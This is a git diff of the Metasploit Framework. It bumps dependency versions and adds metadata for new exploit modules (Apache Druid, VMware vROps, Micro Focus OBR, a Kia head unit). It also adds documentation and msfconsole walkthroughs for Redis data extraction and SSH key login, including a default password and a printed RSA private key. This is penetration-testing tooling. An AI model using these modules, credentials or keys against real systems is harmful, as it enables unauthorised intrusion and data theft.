diff --git a/Gemfile.lock b/Gemfile.lock index a8d058f1523f..96419b8161bb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.0.42) + metasploit-framework (6.0.43) actionpack (~> 5.2.2) activerecord (~> 5.2.2) activesupport (~> 5.2.2) @@ -28,7 +28,7 @@ PATH metasploit-concern (~> 3.0.0) metasploit-credential (~> 4.0.0) metasploit-model (~> 3.1.0) - metasploit-payloads (= 2.0.43) + metasploit-payloads (= 2.0.44) metasploit_data_models (~> 4.1.0) metasploit_payloads-mettle (= 1.0.9) mqtt @@ -122,13 +122,13 @@ GEM activerecord (>= 3.1.0, < 7) ast (2.4.2) aws-eventstream (1.1.1) - aws-partitions (1.446.0) + aws-partitions (1.449.0) aws-sdk-core (3.114.0) aws-eventstream (~> 1, >= 1.0.2) aws-partitions (~> 1, >= 1.239.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.234.0) + aws-sdk-ec2 (1.235.0) aws-sdk-core (~> 3, >= 3.112.0) aws-sigv4 (~> 1.1) aws-sdk-iam (1.52.0) @@ -137,7 +137,7 @@ GEM aws-sdk-kms (1.43.0) aws-sdk-core (~> 3, >= 3.112.0) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.93.1) + aws-sdk-s3 (1.94.0) aws-sdk-core (~> 3, >= 3.112.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.1) @@ -208,11 +208,11 @@ GEM nokogiri (>= 1.5.9) memory_profiler (1.0.0) metasm (1.0.4) - metasploit-concern (3.0.1) + metasploit-concern (3.0.2) activemodel (~> 5.2.2) activesupport (~> 5.2.2) railties (~> 5.2.2) - metasploit-credential (4.0.3) + metasploit-credential (4.0.5) metasploit-concern metasploit-model metasploit_data_models (>= 3.0.0) @@ -222,12 +222,12 @@ GEM rex-socket rubyntlm rubyzip - metasploit-model (3.1.3) + metasploit-model (3.1.4) activemodel (~> 5.2.2) activesupport (~> 5.2.2) railties (~> 5.2.2) - metasploit-payloads (2.0.43) - metasploit_data_models (4.1.3) + metasploit-payloads (2.0.44) + metasploit_data_models (4.1.4) activerecord (~> 5.2.2) activesupport (~> 5.2.2) arel-helpers @@ -239,7 +239,7 @@ GEM webrick metasploit_payloads-mettle (1.0.9) method_source (1.0.0) - mini_portile2 (2.5.0) + mini_portile2 (2.5.1) minitest (5.14.4) mqtt (0.5.0) msgpack (1.4.2) @@ -255,7 +255,7 @@ GEM nokogiri (1.11.3) mini_portile2 (~> 2.5.0) racc (~> 1.4) - octokit (4.20.0) + octokit (4.21.0) faraday (>= 0.9) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.2) @@ -337,7 +337,7 @@ GEM rex-arch rex-ole (0.1.7) rex-text - rex-powershell (0.1.89) + rex-powershell (0.1.90) rex-random_identifier rex-text ruby-rc4 diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 97e50a7b7558..ca5abdaa4f34 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -11,12 +11,12 @@ arel, 9.0.0, MIT arel-helpers, 2.12.0, MIT ast, 2.4.2, MIT aws-eventstream, 1.1.1, "Apache 2.0" -aws-partitions, 1.446.0, "Apache 2.0" +aws-partitions, 1.449.0, "Apache 2.0" aws-sdk-core, 3.114.0, "Apache 2.0" -aws-sdk-ec2, 1.234.0, "Apache 2.0" +aws-sdk-ec2, 1.235.0, "Apache 2.0" aws-sdk-iam, 1.52.0, "Apache 2.0" aws-sdk-kms, 1.43.0, "Apache 2.0" -aws-sdk-s3, 1.93.1, "Apache 2.0" +aws-sdk-s3, 1.94.0, "Apache 2.0" aws-sigv4, 1.2.3, "Apache 2.0" bcrypt, 3.1.16, MIT bcrypt_pbkdf, 1.1.0, MIT @@ -60,15 +60,15 @@ json, 2.5.1, ruby loofah, 2.9.1, MIT memory_profiler, 1.0.0, MIT metasm, 1.0.4, LGPL-2.1 -metasploit-concern, 3.0.1, "New BSD" -metasploit-credential, 4.0.3, "New BSD" -metasploit-framework, 6.0.42, "New BSD" -metasploit-model, 3.1.3, "New BSD" -metasploit-payloads, 2.0.43, "3-clause (or ""modified"") BSD" -metasploit_data_models, 4.1.3, "New BSD" +metasploit-concern, 3.0.2, "New BSD" +metasploit-credential, 4.0.5, "New BSD" +metasploit-framework, 6.0.43, "New BSD" +metasploit-model, 3.1.4, "New BSD" +metasploit-payloads, 2.0.44, "3-clause (or ""modified"") BSD" +metasploit_data_models, 4.1.4, "New BSD" metasploit_payloads-mettle, 1.0.9, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT -mini_portile2, 2.5.0, MIT +mini_portile2, 2.5.1, MIT minitest, 5.14.4, MIT mqtt, 0.5.0, MIT msgpack, 1.4.2, "Apache 2.0" @@ -81,7 +81,7 @@ network_interface, 0.0.2, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.5.7, MIT nokogiri, 1.11.3, MIT -octokit, 4.20.0, MIT +octokit, 4.21.0, MIT openssl-ccm, 1.2.2, MIT openssl-cmac, 2.0.1, MIT openvas-omp, 0.0.4, MIT @@ -119,7 +119,7 @@ rex-java, 0.1.6, "New BSD" rex-mime, 0.1.6, "New BSD" rex-nop, 0.1.2, "New BSD" rex-ole, 0.1.7, "New BSD" -rex-powershell, 0.1.89, "New BSD" +rex-powershell, 0.1.90, "New BSD" rex-random_identifier, 0.1.5, "New BSD" rex-registry, 0.1.4, "New BSD" rex-rop_builder, 0.1.4, "New BSD" diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 42d5da75afa5..d14f944aba7d 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -5274,7 +5274,7 @@ "author": [ "Robin Wood " ], - "description": "This module will search the specified MSSQL server for\n 'interesting' columns and data.\n\n The module has been tested against SQL Server 2005 but it should also work on\n SQL Server 2008. The module will not work against SQL Server 2000 at this time,\n if you are interested in supporting this platform, please contact the author.", + "description": "This module will search the specified MSSQL server for\n 'interesting' columns and data.\n\n This module has been tested against the latest SQL Server 2019 docker container image (22/04/2021).", "references": [ "URL-http://www.digininja.org/metasploit/mssql_idf.php" ], @@ -5296,7 +5296,7 @@ "sybase" ], "targets": null, - "mod_time": "2019-09-23 15:29:38 +0000", + "mod_time": "2021-04-22 10:15:04 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_idf.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_idf", @@ -18915,6 +18915,43 @@ }, "needs_cleanup": false }, + "auxiliary_gather/redis_extractor": { + "name": "Redis Extractor", + "fullname": "auxiliary/gather/redis_extractor", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Geoff Rainville noncenz " + ], + "description": "This module connects to a Redis instance and retrieves keys and data stored.", + "references": [ + "URL-https://redis.io/topics/protocol" + ], + "platform": "", + "arch": "", + "rport": 6379, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2021-04-29 10:53:58 +0000", + "path": "/modules/auxiliary/gather/redis_extractor.rb", + "is_install_path": true, + "ref_name": "gather/redis_extractor", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_gather/safari_file_url_navigation": { "name": "Mac OS X Safari file:// Redirection Sandbox Escape", "fullname": "auxiliary/gather/safari_file_url_navigation", @@ -30267,6 +30304,43 @@ }, "needs_cleanup": false }, + "auxiliary_scanner/http/rdp_web_login": { + "name": "Microsoft RDP Web Client Login Enumeration", + "fullname": "auxiliary/scanner/http/rdp_web_login", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2020-12-23", + "type": "auxiliary", + "author": [ + "Matthew Dunn" + ], + "description": "Enumerate valid usernames and passwords against a Microsoft RDP Web Client\n by attempting authentication and performing a timing based check\n against the provided username.", + "references": [ + "URL-https://raxis.com/blog/rd-web-access-vulnerability" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2021-04-23 20:46:00 +0000", + "path": "/modules/auxiliary/scanner/http/rdp_web_login.py", + "is_install_path": true, + "ref_name": "scanner/http/rdp_web_login", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_scanner/http/replace_ext": { "name": "HTTP File Extension Scanner", "fullname": "auxiliary/scanner/http/replace_ext", @@ -43796,7 +43870,7 @@ ], "targets": null, - "mod_time": "2020-06-21 16:21:40 +0000", + "mod_time": "2021-04-07 11:59:22 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login.rb", "is_install_path": true, "ref_name": "scanner/ssh/ssh_login", @@ -43834,7 +43908,7 @@ ], "targets": null, - "mod_time": "2021-03-10 14:59:27 +0000", + "mod_time": "2021-04-23 10:26:46 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb", "is_install_path": true, "ref_name": "scanner/ssh/ssh_login_pubkey", @@ -53647,6 +53721,69 @@ }, "needs_cleanup": true }, + "exploit_linux/http/apache_druid_js_rce": { + "name": "Apache Druid 0.20.0 Remote Command Execution", + "fullname": "exploit/linux/http/apache_druid_js_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-01-21", + "type": "exploit", + "author": [ + "Litch1, Security Team of Alibaba Cloud", + "je5442804" + ], + "description": "Apache Druid includes the ability to execute user-provided JavaScript code embedded in\n various types of requests; however, that feature is disabled by default.\n\n In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request\n that both enables the JavaScript code-execution feature and executes the supplied code all\n at once, allowing for code execution on the server with the privileges of the Druid Server process.\n More critically, authentication is not enabled in Apache Druid by default.\n\n Tested on the following Apache Druid versions:\n\n * 0.15.1\n * 0.16.0-iap8\n * 0.17.1\n * 0.18.0-iap3\n * 0.19.0-iap7\n * 0.20.0-iap4.1\n * 0.20.0\n * 0.21.0-iap3", + "references": [ + "CVE-2021-25646", + "URL-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646", + "URL-https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E", + "URL-https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py" + ], + "platform": "Linux,Unix", + "arch": "cmd, x86, x64", + "rport": 8888, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux (dropper)", + "Unix (in-memory)" + ], + "mod_time": "2021-04-09 12:08:25 +0000", + "path": "/modules/exploits/linux/http/apache_druid_js_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/apache_druid_js_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "needs_cleanup": null + }, "exploit_linux/http/apache_ofbiz_deserialization": { "name": "Apache OFBiz XML-RPC Java Deserialization", "fullname": "exploit/linux/http/apache_ofbiz_deserialization", @@ -58601,6 +58738,57 @@ }, "needs_cleanup": null }, + "exploit_linux/http/microfocus_obr_cmd_injection": { + "name": "Micro Focus Operations Bridge Reporter Unauthenticated Command Injection", + "fullname": "exploit/linux/http/microfocus_obr_cmd_injection", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-02-09", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "This module exploits a command injection vulnerability on *login* (yes, you read that right)\n that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.\n It's a straight up command injection, with little escaping required and it works before\n authentication.\n This module has been tested on the Linux 10.40 version. Older versions might be affected,\n check the advisory for details.", + "references": [ + "CVE-2021-22502", + "ZDI-21-153", + "URL-https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md", + "URL-https://softwaresupport.softwaregrp.com/doc/KM03775947" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 21412, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40" + ], + "mod_time": "2021-04-23 22:10:38 +0000", + "path": "/modules/exploits/linux/http/microfocus_obr_cmd_injection.rb", + "is_install_path": true, + "ref_name": "linux/http/microfocus_obr_cmd_injection", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/microfocus_secure_messaging_gateway": { "name": "MicroFocus Secure Messaging Gateway Remote Code Execution", "fullname": "exploit/linux/http/microfocus_secure_messaging_gateway", @@ -63164,6 +63352,69 @@ }, "needs_cleanup": true }, + "exploit_linux/http/vmware_vrops_mgr_ssrf_rce": { + "name": "VMware vRealize Operations (vROps) Manager SSRF RCE", + "fullname": "exploit/linux/http/vmware_vrops_mgr_ssrf_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-03-30", + "type": "exploit", + "author": [ + "Egor Dimitrenko", + "wvu " + ], + "description": "This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth\n file write (CVE-2021-21983) in VMware vRealize Operations Manager to\n leak admin creds and write/execute a JSP payload.\n\n CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and\n CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate\n endpoint. Code execution occurs as the \"admin\" Unix user.\n\n The following vRealize Operations Manager versions are vulnerable:\n\n * 7.0.0\n * 7.5.0\n * 8.0.0, 8.0.1\n * 8.1.0, 8.1.1\n * 8.2.0\n * 8.3.0\n\n Version 8.3.0 is not exploitable for creds and is therefore not\n supported by this module. Tested against 8.0.1.", + "references": [ + "CVE-2021-21975", + "CVE-2021-21983", + "URL-https://www.vmware.com/security/advisories/VMSA-2021-0004.html", + "URL-https://twitter.com/ptswarm/status/1376961747232382976", + "URL-https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis" + ], + "platform": "Linux", + "arch": "java", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "vRealize Operations Manager < 8.3.0" + ], + "mod_time": "2021-04-21 16:02:21 +0000", + "path": "/modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/vmware_vrops_mgr_ssrf_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "needs_cleanup": true + }, "exploit_linux/http/wanem_exec": { "name": "WAN Emulator v2.3 Command Execution", "fullname": "exploit/linux/http/wanem_exec", @@ -69259,6 +69510,48 @@ }, "needs_cleanup": null }, + "exploit_linux/ssh/microfocus_obr_shrboadmin": { + "name": "Micro Focus Operations Bridge Reporter shrboadmin default password", + "fullname": "exploit/linux/ssh/microfocus_obr_shrboadmin", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2020-09-21", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "This module abuses a known default password on Micro Focus Operations Bridge Reporter.\n The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin',\n and allows an attacker to login to the server via SSH.\n This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier\n versions are most likely affected too.\n Note that this is only exploitable in Linux installations.", + "references": [ + "CVE-2020-11857", + "ZDI-20-1215", + "URL-https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md", + "URL-https://softwaresupport.softwaregrp.com/doc/KM03710590" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 22, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40" + ], + "mod_time": "2021-04-29 11:46:40 +0000", + "path": "/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb", + "is_install_path": true, + "ref_name": "linux/ssh/microfocus_obr_shrboadmin", + "check": false, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/ssh/quantum_dxi_known_privkey": { "name": "Quantum DXi V1000 SSH Private Key Exposure", "fullname": "exploit/linux/ssh/quantum_dxi_known_privkey", @@ -86524,7 +86817,7 @@ "needs_cleanup": null }, "exploit_multi/misc/osgi_console_exec": { - "name": "Eclipse Equinoxe OSGi Console Command Execution", + "name": "Eclipse Equinox OSGi Console Command Execution", "fullname": "exploit/multi/misc/osgi_console_exec", "aliases": [ @@ -86535,7 +86828,7 @@ "author": [ "Quentin Kaiser " ], - "description": "Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console\n 'fork' command to execute arbitrary commands on the remote system..", + "description": "Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console\n 'fork' command to execute arbitrary commands on the remote system.", "references": [ "URL-https://www.eclipse.org/equinox/documents/quickstart-framework.php" ], @@ -86552,7 +86845,7 @@ "Linux (Bash Payload)", "Windows (Powershell Payload)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2021-04-23 11:39:14 +0000", "path": "/modules/exploits/multi/misc/osgi_console_exec.rb", "is_install_path": true, "ref_name": "multi/misc/osgi_console_exec", @@ -173974,6 +174267,41 @@ }, "needs_cleanup": null }, + "post_android/local/koffee": { + "name": "KOFFEE - Kia OFFensivE Exploit", + "fullname": "post/android/local/koffee", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2020-12-02", + "type": "post", + "author": [ + "Gianpiero Costantino", + "Ilaria Matteucci" + ], + "description": "This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to\n attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on\n SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an\n active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head\n unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.", + "references": [ + "CVE-2020-8539", + "URL-https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf" + ], + "platform": "Android", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2021-04-23 09:24:38 +0000", + "path": "/modules/post/android/local/koffee.rb", + "is_install_path": true, + "ref_name": "android/local/koffee", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "post_android/manage/remove_lock": { "name": "Android Settings Remove Device Locks (4.0-4.3)", "fullname": "post/android/manage/remove_lock", diff --git a/documentation/modules/auxiliary/gather/redis_extractor.md b/documentation/modules/auxiliary/gather/redis_extractor.md new file mode 100644 index 000000000000..6b6b07b20465 --- /dev/null +++ b/documentation/modules/auxiliary/gather/redis_extractor.md @@ -0,0 +1,80 @@ +## Vulnerable Application + +This module attaches to a Redis instance and extracts all stored keys and their associated data. If multiple databases are present the module will iterate through each. + +This module works on Redis versions 2.8.0 and later, and has been tested on versions through 6.0.8. + +To prepare a test instance of Redis,first install Redis v2.8.0 or greater. This can be done in docker with: + +`docker run -d -p 6379:6379 --name redis redis` + +Next, add some data to the database: + +`echo 'set key1 value1' | nc 127.0.0.1 6379 > /dev/null` (MacOS, may differ on Linux) + +Alternately, to run docker with a password: + +```bash +docker run -d -p 6379:6379 --name redis redis --requirepass abcde +echo 'auth abcde \n set key2 value2' | nc 127.0.0.1 6379 > /dev/null +``` + + +## Verification Steps + +1. Install Redis and add data as described above. +1. Start `msfconsole` +1. Do: `use auxiliary/gather/redis_extractor` +1. Do: `set rhosts [ip.of.redis.app]` +1. Do: `set PASSWORD [redis_password]` (optional) +1. Do: `check` (optional) +1. You will receive information about the Redis instalce. +1. Do: `run` +1. You will receive a screendump of the cached keys and contet. +1. A CSV file with keys and content will be saved in your loot directory. + +## Options + +### **PASSWORD** + +The password for the redis instance. This value will be ignored for instances with no password required. + +## Scenarios + +### Check + +``` +msf6 > use auxiliary/gather/redis_extractor +msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 +rhosts => 172.22.12.168 +msf6 auxiliary(gather/redis_extractor) > check + +[+] 172.22.12.168:6379 - Connected to Redis version 6.0.8 +[*] 172.22.12.168:6379 - OS is Linux 5.4.39-linuxkit x86_64 +[*] 172.22.12.168:6379 - The target appears to be vulnerable. +msf6 auxiliary(gather/redis_extractor) > +``` + +### Run + +``` +msf6 > use auxiliary/gather/redis_extractor +msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 +rhosts => 172.22.12.168 +msf6 auxiliary(gather/redis_extractor) > run + +[+] 172.22.12.168:6379 - Connected to Redis version 6.0.8 +[*] 172.22.12.168:6379 - Extracting about 1 keys from database 0 + +Data from 172.22.12.168:6379 database 0 +========================================== + + Key Value + --- ----- + key1 value1 + +[+] 172.22.12.168:6379 - Redis data stored at /root/.msf4/loot/20201113203708_default_172.22.12.168_redis.dump_db0_836292.txt +[*] 172.22.12.168:6379 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(gather/redis_extractor) > +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md index d4c82bdfa374..16dc44061afc 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md @@ -17,9 +17,11 @@ 4. Do: ` use auxiliary/scanner/ssh/ssh_login_pubkey` 5. Do: `set rhosts` 6. Do: set usernames with one of the available options - 7. Do: `set KEY_PATH ` to either a file or path - 7. Do: `run` - 8. You will hopefully see something similar to the following: + 7. Do: set private keys with one or both of the available options + 1. Do: `set KEY_PATH ` to either a file or path + 2. Do: `set PRIVATE_KEY ` to `file:PRIVATE_KEY_PATH` + 8. Do: `run` + 9. You will hopefully see something similar to the following: ``` [+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- @@ -31,6 +33,10 @@ A string to the private key to attempt, or a folder containing private keys to attempt. Any file name starting with a period (`.`) or ending in `.pub` will be ignored. An SSH key is typically kept in a user's home directory under `.ssh/id_rsa`. The file contents, when not encrypted with a password will start with `-----BEGIN RSA PRIVATE KEY-----` + + **PRIVATE_KEY** + + A string of the private key to attempt. For MSFConsole users the option should be set to `file:PRIVATE_KEY_PATH` and it will read in the string value of the private key. Currently OpenSSH, RSA, DSA, and ECDSA private keys are supported. **RHOSTS** @@ -57,6 +63,8 @@ It is important to note that usernames can be entered in multiple combinations. For instance, a username could be set in `USERNAME`, and be part of `USER_FILE`. This module makes a combination of all of the above when attempting logins. So if a username is set in `USERNAME`, and a `USER_FILE` is listed, usernames will be generated from BOTH of these. +Similar to `USERNAME` and `USER_FILE`, both `KEY_PATH` and `PRIVATE_KEY` can be set simultaneously and all unique combinations of these will be tested. + ## Scenarios Example run with a FOLDER set for `KEY_PATH` against: @@ -139,3 +147,78 @@ AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` + + + + Similar example but run with a KEY FILE set for `PRIVATE_KEY`: + ``` +msf > use auxiliary/scanner/ssh/ssh_login_pubkey +msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(ssh_login_pubkey) > set username ubuntu +username => ubuntu +msf auxiliary(ssh_login_pubkey) > set private_key file:/root/sshkeys/id_rsa +private_key => -----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +0Az8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq +O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE +Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- +msf auxiliary(ssh_login_pubkey) > run + +[*] 192.168.2.156:22 SSH - Testing Cleartext Keys +[*] SSH - Testing 1 keys from +[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +0Az8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq 